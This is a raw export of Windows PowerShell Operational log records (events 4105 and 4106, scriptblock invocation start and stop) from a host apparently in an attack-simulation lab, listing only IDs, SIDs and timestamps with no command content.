Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039829
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039805
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039803
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039802
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039786
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039785
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039780
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039779
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
